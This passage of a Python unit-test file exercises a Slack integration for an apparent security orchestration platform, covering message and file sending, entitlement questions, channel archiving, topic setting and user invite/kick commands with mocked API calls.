'notify_incidents': True}) Slack.init_globals() # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} elif method == 'conversations.list': return {'channels': js.loads(CONVERSATIONS)} elif method == 'im.open': return {'channel': {'id': 'im_channel'}} return {} mocker.patch.object(demisto, 'args', return_value={'channel': 'incidentNotificationChannel', 'severity': '4', 'message': '!!!', 'messageType': 'incidentOpened'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'results') mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) mocker.patch.object(Slack, 'send_message', return_value={'ts': 'cool'}) # Arrange Slack.slack_send() send_args = Slack.send_message.call_args[0] results = demisto.results.call_args_list[0][0] calls = slack.WebClient.api_call.call_args_list users_call = [c for c in calls if c[0][0] == 'users.list'] conversations_call = [c for c in calls if c[0][0] == 'conversations.list'] # Assert assert len(users_call) == 0 assert len(conversations_call) == 0 assert Slack.send_message.call_count == 1 assert send_args[0] == ['C012AB3CD'] assert send_args[1] is None assert send_args[2] is False assert send_args[4] == '!!!' assert send_args[5] == '' assert results[0]['Contents'] == 'Message sent to Slack successfully.\nThread ID is: cool' @pytest.mark.parametrize('notify', [False, True]) def test_send_request_with_notification_channel_as_dest(mocker, notify): import Slack mocker.patch.object(demisto, 'params', return_value={'incidentNotificationChannel': 'general', 'min_severity': 'High', 'notify_incidents': notify}) Slack.init_globals() # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} elif method == 'conversations.list': return {'channels': js.loads(CONVERSATIONS)} elif method == 'im.open': return {'channel': {'id': 'im_channel'}} return {} mocker.patch.object(demisto, 'args', return_value={'channel': 'general', 'message': '!!!'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'results') mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) mocker.patch.object(Slack, 'send_message', return_value={'ts': 'cool'}) # Arrange Slack.slack_send() send_args = Slack.send_message.call_args[0] results = demisto.results.call_args_list[0][0] calls = slack.WebClient.api_call.call_args_list users_call = [c for c in calls if c[0][0] == 'users.list'] conversations_call = [c for c in calls if c[0][0] == 'conversations.list'] # Assert assert len(users_call) == 0 assert len(conversations_call) == 0 assert Slack.send_message.call_count == 1 assert send_args[0] == ['C012AB3CD'] assert send_args[1] is None assert send_args[2] is False assert send_args[4] == '!!!' assert send_args[5] == '' assert results[0]['Contents'] == 'Message sent to Slack successfully.\nThread ID is: cool' def test_send_request_with_entitlement(mocker): import Slack # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} elif method == 'conversations.list': return {'channels': js.loads(CONVERSATIONS)} elif method == 'im.open': return {'channel': {'id': 'im_channel'}} return {} mocker.patch.object(demisto, 'args', return_value={ 'message': js.dumps({ 'message': 'hi test@demisto.com', 'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@22|43', 'reply': 'Thanks bro', 'expiry': '2019-09-26 18:38:25', 'default_response': 'NoResponse'}), 'to': 'spengler'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'results') mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) mocker.patch.object(Slack, 'send_message', return_value={'ts': 'cool'}) mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25)) questions = [{ 'thread': 'cool', 'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@22|43', 'reply': 'Thanks bro', 'expiry': '2019-09-26 18:38:25', 'sent': '2019-09-26 18:38:25', 'default_response': 'NoResponse' }] # Arrange Slack.slack_send() send_args = Slack.send_message.call_args[0] results = demisto.results.call_args_list[0][0] calls = slack.WebClient.api_call.call_args_list users_call = [c for c in calls if c[0][0] == 'users.list'] conversations_call = [c for c in calls if c[0][0] == 'conversations.list'] # Assert assert len(users_call) == 0 assert len(conversations_call) == 0 assert Slack.send_message.call_count == 1 assert send_args[0] == ['im_channel'] assert send_args[1] is None assert send_args[2] is False assert send_args[4] == 'hi test@demisto.com' assert send_args[5] == '' assert results[0]['Contents'] == 'Message sent to Slack successfully.\nThread ID is: cool' assert demisto.getIntegrationContext()['questions'] == js.dumps(questions) def test_send_request_with_entitlement_blocks(mocker): import Slack # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} elif method == 'conversations.list': return {'channels': js.loads(CONVERSATIONS)} elif method == 'im.open': return {'channel': {'id': 'im_channel'}} return {} mocker.patch.object(demisto, 'args', return_value={ 'blocks': js.dumps({ 'blocks': js.dumps(BLOCK_JSON), 'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43', 'reply': 'Thanks bro', 'expiry': '2019-09-26 18:38:25', 'default_response': 'NoResponse'}), 'to': 'spengler'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'results') mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) mocker.patch.object(Slack, 'send_message', return_value={'ts': 'cool'}) mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25)) questions = [{ 'thread': 'cool', 'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43', 'reply': 'Thanks bro', 'expiry': '2019-09-26 18:38:25', 'sent': '2019-09-26 18:38:25', 'default_response': 'NoResponse' }] # Arrange Slack.slack_send() send_args = Slack.send_message.call_args[0] results = demisto.results.call_args_list[0][0] calls = slack.WebClient.api_call.call_args_list users_call = [c for c in calls if c[0][0] == 'users.list'] conversations_call = [c for c in calls if c[0][0] == 'conversations.list'] # Assert assert len(users_call) == 0 assert len(conversations_call) == 0 assert Slack.send_message.call_count == 1 assert send_args[0] == ['im_channel'] assert send_args[1] is None assert send_args[2] is False assert send_args[4] == '' assert send_args[6] == js.dumps(BLOCK_JSON) assert results[0]['Contents'] == 'Message sent to Slack successfully.\nThread ID is: cool' assert demisto.getIntegrationContext()['questions'] == js.dumps(questions) def test_send_request_with_entitlement_blocks_message(mocker): import Slack # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} elif method == 'conversations.list': return {'channels': js.loads(CONVERSATIONS)} elif method == 'im.open': return {'channel': {'id': 'im_channel'}} return {} mocker.patch.object(demisto, 'args', return_value={ 'message': 'wat up', 'blocks': js.dumps({ 'blocks': js.dumps(BLOCK_JSON), 'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43', 'reply': 'Thanks bro', 'expiry': '2019-09-26 18:38:25', 'default_response': 'NoResponse'}), 'to': 'spengler'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'results') mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) mocker.patch.object(Slack, 'send_message', return_value={'ts': 'cool'}) mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25)) questions = [{ 'thread': 'cool', 'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43', 'reply': 'Thanks bro', 'expiry': '2019-09-26 18:38:25', 'sent': '2019-09-26 18:38:25', 'default_response': 'NoResponse' }] # Arrange Slack.slack_send() send_args = Slack.send_message.call_args[0] results = demisto.results.call_args_list[0][0] calls = slack.WebClient.api_call.call_args_list users_call = [c for c in calls if c[0][0] == 'users.list'] conversations_call = [c for c in calls if c[0][0] == 'conversations.list'] # Assert assert len(users_call) == 0 assert len(conversations_call) == 0 assert Slack.send_message.call_count == 1 assert send_args[0] == ['im_channel'] assert send_args[1] is None assert send_args[2] is False assert send_args[4] == 'wat up' assert send_args[6] == js.dumps(BLOCK_JSON) assert results[0]['Contents'] == 'Message sent to Slack successfully.\nThread ID is: cool' assert demisto.getIntegrationContext()['questions'] == js.dumps(questions) def test_send_to_user_lowercase(mocker): import Slack # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} elif method == 'conversations.list': return {'channels': js.loads(CONVERSATIONS)} elif method == 'im.open': return {'channel': {'id': 'im_channel'}} return {} mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'args', return_value={'to': 'glenda@south.oz.coven', 'message': 'hi'}) mocker.patch.object(demisto, 'results') mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) mocker.patch.object(Slack, 'send_file', return_value='neat') mocker.patch.object(Slack, 'send_message', return_value={'ts': 'cool'}) # Arrange Slack.slack_send() send_args = Slack.send_message.call_args[0] results = demisto.results.call_args_list[0][0] calls = slack.WebClient.api_call.call_args_list users_call = [c for c in calls if c[0][0] == 'users.list'] conversations_call = [c for c in calls if c[0][0] == 'conversations.list'] # Assert assert len(users_call) == 0 assert len(conversations_call) == 0 assert Slack.send_message.call_count == 1 assert send_args[0] == ['im_channel'] assert send_args[1] is None assert send_args[2] is False assert send_args[4] == 'hi' assert send_args[5] == '' assert results[0]['Contents'] == 'Message sent to Slack successfully.\nThread ID is: cool' def test_send_request_with_severity_user_doesnt_exist(mocker, capfd): import Slack mocker.patch.object(demisto, 'params', return_value={'incidentNotificationChannel': 'general', 'min_severity': 'High', 'notify_incidents': True}) Slack.init_globals() # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} elif method == 'conversations.list': return {'channels': js.loads(CONVERSATIONS)} elif method == 'im.open': return {'channel': {'id': 'im_channel'}} return {} mocker.patch.object(demisto, 'args', return_value={'severity': '3', 'message': '!!!', 'messageType': 'incidentOpened', 'to': 'alexios'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'setIntegrationContext') mocker.patch.object(demisto, 'results') mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) mocker.patch.object(Slack, 'send_message', return_value={'ts': 'cool'}) # Arrange with capfd.disabled(): Slack.slack_send() send_args = Slack.send_message.call_args[0] results = demisto.results.call_args_list[0][0] calls = slack.WebClient.api_call.call_args_list users_call = [c for c in calls if c[0][0] == 'users.list'] conversations_call = [c for c in calls if c[0][0] == 'conversations.list'] # Assert assert len(users_call) == 1 assert len(conversations_call) == 0 assert Slack.send_message.call_count == 1 assert send_args[0] == ['C012AB3CD'] assert send_args[1] is None assert send_args[2] is False assert send_args[4] == '!!!' assert send_args[5] == '' assert results[0]['Contents'] == 'Message sent to Slack successfully.\nThread ID is: cool' def test_send_request_no_user(mocker, capfd): import Slack # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} elif method == 'conversations.list': return {'channels': js.loads(CONVERSATIONS)} elif method == 'im.open': return {'channel': {'id': 'im_channel'}} return {} mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) return_error_mock = mocker.patch(RETURN_ERROR_TARGET, side_effect=InterruptedError()) mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) mocker.patch.object(Slack, 'send_file', return_value='neat') mocker.patch.object(Slack, 'send_message', return_value='cool') # Arrange with capfd.disabled(): with pytest.raises(InterruptedError): Slack.slack_send_request('alexios', None, None, message='Hi') err_msg = return_error_mock.call_args[0][0] calls = slack.WebClient.api_call.call_args_list users_call = [c for c in calls if c[0][0] == 'users.list'] # Assert assert return_error_mock.call_count == 1 assert err_msg == 'Could not find any destination to send to.' assert len(users_call) == 1 assert Slack.send_message.call_count == 0 assert Slack.send_file.call_count == 0 def test_send_request_no_severity(mocker): import Slack mocker.patch.object(demisto, 'params', return_value={'incidentNotificationChannel': 'general', 'min_severity': 'High', 'notify_incidents': True}) Slack.init_globals() # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} elif method == 'conversations.list': return {'channels': js.loads(CONVERSATIONS)} elif method == 'im.open': return {'channel': {'id': 'im_channel'}} return {} mocker.patch.object(demisto, 'args', return_value={'severity': '2', 'message': '!!!', 'messageType': 'incidentOpened'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'results') return_error_mock = mocker.patch(RETURN_ERROR_TARGET, side_effect=InterruptedError()) mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) mocker.patch.object(Slack, 'send_message', return_value={'ts': 'cool'}) # Arrange with pytest.raises(InterruptedError): Slack.slack_send() err_msg = return_error_mock.call_args[0][0] calls = slack.WebClient.api_call.call_args_list users_call = [c for c in calls if c[0][0] == 'users.list'] # Assert assert return_error_mock.call_count == 1 assert err_msg == 'Either a user, group or channel must be provided.' assert len(users_call) == 0 assert Slack.send_message.call_count == 0 def test_send_request_zero_severity(mocker): import Slack mocker.patch.object(demisto, 'params', return_value={'incidentNotificationChannel': 'general', 'min_severity': 'High', 'notify_incidents': True}) Slack.init_globals() # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} elif method == 'conversations.list': return {'channels': js.loads(CONVERSATIONS)} elif method == 'im.open': return {'channel': {'id': 'im_channel'}} return {} mocker.patch.object(demisto, 'args', return_value={'severity': '0', 'message': '!!!', 'messageType': 'incidentOpened'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'results') return_error_mock = mocker.patch(RETURN_ERROR_TARGET, side_effect=InterruptedError()) mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) mocker.patch.object(Slack, 'send_message', return_value={'ts': 'cool'}) # Arrange with pytest.raises(InterruptedError): Slack.slack_send() err_msg = return_error_mock.call_args[0][0] calls = slack.WebClient.api_call.call_args_list users_call = [c for c in calls if c[0][0] == 'users.list'] # Assert assert return_error_mock.call_count == 1 assert err_msg == 'Either a user, group or channel must be provided.' assert len(users_call) == 0 assert Slack.send_message.call_count == 0 def test_send_message(mocker): import Slack # Set link = 'https://www.eizelulz.com:8443/#/WarRoom/727' mocker.patch.object(demisto, 'investigation', return_value={'type': 1}) mocker.patch.object(demisto, 'demistoUrls', return_value={'warRoom': link}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(Slack, 'send_message_to_destinations') mocker.patch.object(Slack, 'invite_users_to_conversation') # Arrange Slack.send_message(['channel'], None, None, demisto.getIntegrationContext(), 'yo', None, '') args = Slack.send_message_to_destinations.call_args[0] # Assert assert Slack.send_message_to_destinations.call_count == 1 assert args[0] == ['channel'] assert args[1] == 'yo' + '\nView it on: ' + link assert args[2] is None def test_send_message_to_destinations(mocker): import Slack # Set link = 'https://www.eizelulz.com:8443/#/WarRoom/727' mocker.patch.object(demisto, 'investigation', return_value={'type': 1}) mocker.patch.object(demisto, 'demistoUrls', return_value={'warRoom': link}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(Slack, 'send_slack_request_sync') # Arrange Slack.send_message_to_destinations(['channel'], 'yo', None, '') args = Slack.send_slack_request_sync.call_args[1] # Assert assert Slack.send_slack_request_sync.call_count == 1 assert 'http_verb' not in args assert args['body']['channel'] == 'channel' assert args['body']['text'] def test_send_file_to_destinations(mocker): import Slack # Set link = 'https://www.eizelulz.com:8443/#/WarRoom/727' mocker.patch.object(demisto, 'investigation', return_value={'type': 1}) mocker.patch.object(demisto, 'demistoUrls', return_value={'warRoom': link}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(Slack, 'send_slack_request_sync') # Arrange Slack.send_file_to_destinations(['channel'], {'name': 'name', 'data': 'yo'}, None) args = Slack.send_slack_request_sync.call_args[1] # Assert assert Slack.send_slack_request_sync.call_count == 1 assert 'http_verb' not in args assert args['file_'] == 'yo' assert args['body']['filename'] == 'name' def test_send_message_retry(mocker): import Slack from slack.errors import SlackApiError # Set link = 'https://www.eizelulz.com:8443/#/WarRoom/727' mocker.patch.object(demisto, 'investigation', return_value={'type': 1}) mocker.patch.object(demisto, 'demistoUrls', return_value={'warRoom': link}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(Slack, 'invite_users_to_conversation') # Arrange mocker.patch.object(Slack, 'send_message_to_destinations', side_effect=[SlackApiError('not_in_channel', None), 'ok']) Slack.send_message(['channel'], None, None, demisto.getIntegrationContext(), 'yo', None, '') args = Slack.send_message_to_destinations.call_args_list[1][0] # Assert assert Slack.send_message_to_destinations.call_count == 2 assert args[0] == ['channel'] assert args[1] == 'yo' + '\nView it on: ' + link assert args[2] is None def test_send_file_retry(mocker): import Slack from slack.errors import SlackApiError # Set mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(Slack, 'invite_users_to_conversation') # Arrange mocker.patch.object(Slack, 'send_file_to_destinations', side_effect=[SlackApiError('not_in_channel', None), 'ok']) Slack.send_file(['channel'], 'file', demisto.getIntegrationContext(), None) args = Slack.send_file_to_destinations.call_args_list[1][0] # Assert assert Slack.send_file_to_destinations.call_count == 2 assert args[0] == ['channel'] assert args[1] == 'file' assert args[2] is None def test_close_channel_with_name(mocker): import Slack # Set mocker.patch.object(demisto, 'args', return_value={'channel': 'general'}) mocker.patch.object(demisto, 'investigation', return_value={'id': '681'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'C012AB3CD'}) mocker.patch.object(slack.WebClient, 'api_call') mocker.patch.object(demisto, 'results') # Arrange Slack.close_channel() close_args = slack.WebClient.api_call.call_args success_results = demisto.results.call_args[0] # Assert assert Slack.get_conversation_by_name.call_count == 1 assert slack.WebClient.api_call.call_count == 1 assert success_results[0] == 'Channel successfully archived.' assert close_args[0][0] == 'conversations.archive' assert close_args[1]['json']['channel'] == 'C012AB3CD' def test_close_channel_should_delete_mirror(mocker): from Slack import close_channel # Set mirrors = js.loads(MIRRORS) mirrors.pop(0) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'investigation', return_value={'id': '681'}) mocker.patch.object(slack.WebClient, 'api_call') # Arrange close_channel() archive_args = slack.WebClient.api_call.call_args context_args = demisto.setIntegrationContext.call_args[0][0] context_args_mirrors = js.loads(context_args['mirrors']) # Assert assert archive_args[0][0] == 'conversations.archive' assert archive_args[1]['json']['channel'] == 'GKQ86DVPH' assert context_args_mirrors == mirrors def test_close_channel_should_delete_mirrors(mocker): from Slack import close_channel # Set mirrors = js.loads(MIRRORS) mirrors.pop(1) mirrors.pop(1) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'investigation', return_value={'id': '684'}) mocker.patch.object(slack.WebClient, 'api_call') # Arrange close_channel() archive_args = slack.WebClient.api_call.call_args context_args = demisto.setIntegrationContext.call_args[0][0] context_args_mirrors = js.loads(context_args['mirrors']) # Assert assert archive_args[0][0] == 'conversations.archive' assert archive_args[1]['json']['channel'] == 'GKB19PA3V' assert context_args_mirrors == mirrors def test_get_conversation_by_name_paging(mocker): from Slack import get_conversation_by_name # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'conversations.list': if len(params) == 2: return {'channels': js.loads(CONVERSATIONS), 'response_metadata': { 'next_cursor': 'dGVhbTpDQ0M3UENUTks=' }} else: return {'channels': [{ 'id': 'C248918AB', 'name': 'lulz' }], 'response_metadata': { 'next_cursor': '' }} mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) # Arrange channel = get_conversation_by_name('lulz') args = slack.WebClient.api_call.call_args_list first_args = args[0][1] second_args = args[1][1] # Assert assert args[0][0][0] == 'conversations.list' assert len(first_args['params']) == 2 assert first_args['params']['limit'] == 200 assert len(second_args['params']) == 3 assert second_args['params']['cursor'] == 'dGVhbTpDQ0M3UENUTks=' assert channel['id'] == 'C248918AB' assert slack.WebClient.api_call.call_count == 2 def test_send_file_no_args_investigation(mocker): import Slack # Set mocker.patch.object(demisto, 'args', return_value={}) mocker.patch.object(demisto, 'investigation', return_value={'id': '681'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'getFilePath', return_value={'path': 'path', 'name': 'name'}) mocker.patch('builtins.open', mock_open(read_data="data")) mocker.patch.object(demisto, 'results') mocker.patch.object(Slack, 'slack_send_request', return_value='cool') # Arrange Slack.slack_send_file() send_args = Slack.slack_send_request.call_args success_results = demisto.results.call_args[0] # Assert assert Slack.slack_send_request.call_count == 1 assert success_results[0] == 'File sent to Slack successfully.' assert send_args[0][1] == 'incident-681' assert send_args[1]['file'] == { 'data': 'data', 'name': 'name', 'comment': '' } def test_send_file_no_args_no_investigation(mocker): import Slack # Set mocker.patch.object(demisto, 'args', return_value={}) mocker.patch.object(demisto, 'investigation', return_value={'id': '999'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(Slack, 'slack_send_request', return_value='cool') return_error_mock = mocker.patch(RETURN_ERROR_TARGET, side_effect=InterruptedError()) # Arrange with pytest.raises(InterruptedError): Slack.slack_send_file() err_msg = return_error_mock.call_args[0][0] # Assert assert Slack.slack_send_request.call_count == 0 assert err_msg == 'Either a user, group or channel must be provided.' def test_set_topic(mocker): import Slack # Set mocker.patch.object(demisto, 'args', return_value={'channel': 'general', 'topic': 'ey'}) mocker.patch.object(demisto, 'investigation', return_value={'id': '681'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'C012AB3CD'}) mocker.patch.object(slack.WebClient, 'api_call') mocker.patch.object(demisto, 'results') # Arrange Slack.set_channel_topic() send_args = slack.WebClient.api_call.call_args success_results = demisto.results.call_args[0] # Assert assert Slack.get_conversation_by_name.call_count == 1 assert slack.WebClient.api_call.call_count == 1 assert success_results[0] == 'Topic successfully set.' assert send_args[0][0] == 'conversations.setTopic' assert send_args[1]['json']['channel'] == 'C012AB3CD' assert send_args[1]['json']['topic'] == 'ey' def test_set_topic_no_args_investigation(mocker): import Slack # Set new_mirror = { 'channel_id': 'GKQ86DVPH', 'channel_name': 'incident-681', 'channel_topic': 'ey', 'investigation_id': '681', 'mirror_type': 'all', 'mirror_direction': 'both', 'mirror_to': 'group', 'auto_close': True, 'mirrored': True } mocker.patch.object(demisto, 'args', return_value={'topic': 'ey'}) mocker.patch.object(demisto, 'investigation', return_value={'id': '681'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'C012AB3CD'}) mocker.patch.object(slack.WebClient, 'api_call') mocker.patch.object(demisto, 'results') # Arrange Slack.set_channel_topic() send_args = slack.WebClient.api_call.call_args success_results = demisto.results.call_args[0] new_context = demisto.setIntegrationContext.call_args[0][0] new_mirrors = js.loads(new_context['mirrors']) our_mirror_filter = list(filter(lambda m: '681' == m['investigation_id'], new_mirrors)) our_mirror = our_mirror_filter[0] # Assert assert Slack.get_conversation_by_name.call_count == 0 assert slack.WebClient.api_call.call_count == 1 assert success_results[0] == 'Topic successfully set.' assert send_args[0][0] == 'conversations.setTopic' assert send_args[1]['json']['channel'] == 'GKQ86DVPH' assert send_args[1]['json']['topic'] == 'ey' assert new_mirror == our_mirror def test_set_topic_no_args_no_investigation(mocker): import Slack # Set mocker.patch.object(demisto, 'args', return_value={'topic': 'ey'}) mocker.patch.object(demisto, 'investigation', return_value={'id': '9999'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'C012AB3CD'}) mocker.patch.object(slack.WebClient, 'api_call') mocker.patch.object(demisto, 'results') return_error_mock = mocker.patch(RETURN_ERROR_TARGET, side_effect=InterruptedError()) # Arrange with pytest.raises(InterruptedError): Slack.set_channel_topic() err_msg = return_error_mock.call_args[0][0] # Assert assert Slack.get_conversation_by_name.call_count == 0 assert err_msg == 'Channel not found - the Demisto app needs to be a member of the channel in order to look it up.' def test_invite_users(mocker): import Slack # Set mocker.patch.object(demisto, 'args', return_value={'channel': 'general', 'users': 'spengler, glinda'}) mocker.patch.object(demisto, 'investigation', return_value={'id': '681'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'C012AB3CD'}) mocker.patch.object(Slack, 'invite_users_to_conversation') mocker.patch.object(demisto, 'results') # Arrange Slack.invite_to_channel() send_args = Slack.invite_users_to_conversation.call_args[0] success_results = demisto.results.call_args[0] # Assert assert Slack.get_conversation_by_name.call_count == 1 assert Slack.invite_users_to_conversation.call_count == 1 assert success_results[0] == 'Successfully invited users to the channel.' assert send_args[0] == 'C012AB3CD' assert send_args[1] == ['U012A3CDE', 'U07QCRPA4'] def test_invite_users_no_channel(mocker): import Slack # Set mocker.patch.object(demisto, 'args', return_value={'users': 'spengler, glinda'}) mocker.patch.object(demisto, 'investigation', return_value={'id': '681'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'GKQ86DVPH'}) mocker.patch.object(Slack, 'invite_users_to_conversation') mocker.patch.object(demisto, 'results') # Arrange Slack.invite_to_channel() send_args = Slack.invite_users_to_conversation.call_args[0] success_results = demisto.results.call_args[0] # Assert assert Slack.get_conversation_by_name.call_count == 0 assert Slack.invite_users_to_conversation.call_count == 1 assert success_results[0] == 'Successfully invited users to the channel.' assert send_args[0] == 'GKQ86DVPH' assert send_args[1] == ['U012A3CDE', 'U07QCRPA4'] def test_invite_users_no_channel_doesnt_exist(mocker): import Slack # Set mocker.patch.object(demisto, 'args', return_value={'users': 'spengler, glinda'}) mocker.patch.object(demisto, 'investigation', return_value={'id': '777'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'GKQ86DVPH'}) mocker.patch.object(Slack, 'invite_users_to_conversation') mocker.patch.object(demisto, 'results') return_error_mock = mocker.patch(RETURN_ERROR_TARGET, side_effect=InterruptedError()) # Arrange with pytest.raises(InterruptedError): Slack.invite_to_channel() err_msg = return_error_mock.call_args[0][0] # Assert assert Slack.get_conversation_by_name.call_count == 0 assert Slack.invite_users_to_conversation.call_count == 0 assert err_msg == 'Channel not found - the Demisto app needs to be a member of the channel in order to look it up.' def test_kick_users(mocker): import Slack # Set mocker.patch.object(demisto, 'args', return_value={'channel': 'general', 'users': 'spengler, glinda'}) mocker.patch.object(demisto, 'investigation', return_value={'id': '681'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'C012AB3CD'}) mocker.patch.object(Slack, 'kick_users_from_conversation') mocker.patch.object(demisto, 'results') # Arrange Slack.kick_from_channel() send_args = Slack.kick_users_from_conversation.call_args[0] success_results = demisto.results.call_args[0] # Assert assert Slack.get_conversation_by_name.call_count == 1 assert Slack.kick_users_from_conversation.call_count == 1 assert success_results[0] == 'Successfully kicked users from the channel.' assert send_args[0] == 'C012AB3CD' assert send_args[1] == ['U012A3CDE', 'U07QCRPA4'] def test_kick_users_no_channel(mocker): import Slack # Set mocker.patch.object(demisto, 'args', return_value={'users': 'spengler, glinda'}) mocker.patch.object(demisto, 'investigation', return_value={'id': '681'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(Slack, 'get_conversation_by_name', return_value={'id': 'GKQ86DVPH'}) mocker.patch.object(Slack, 'kick_users_from_conversation') 